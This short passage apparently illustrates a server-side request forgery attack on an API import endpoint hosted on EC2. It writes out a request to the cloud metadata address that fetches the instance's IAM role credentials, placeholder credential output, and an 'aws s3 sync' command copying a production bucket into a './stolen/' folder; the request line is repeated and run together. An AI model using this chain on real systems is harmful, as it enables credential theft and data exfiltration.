The API has an endpoint: POST /api/import?url=https://example.com/data.csv
The EC2 instance has an IAM role attached: app-production-role with permissions: s3:GetObject, s3:PutObject on arn:aws:s3:::company-data-*
The API accepts any URL. No validation. No allowlist.
POST /api/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-rolePOST /api/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-roleAWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...aws s3 ls and aws s3 sync s3://company-data-prod ./stolen/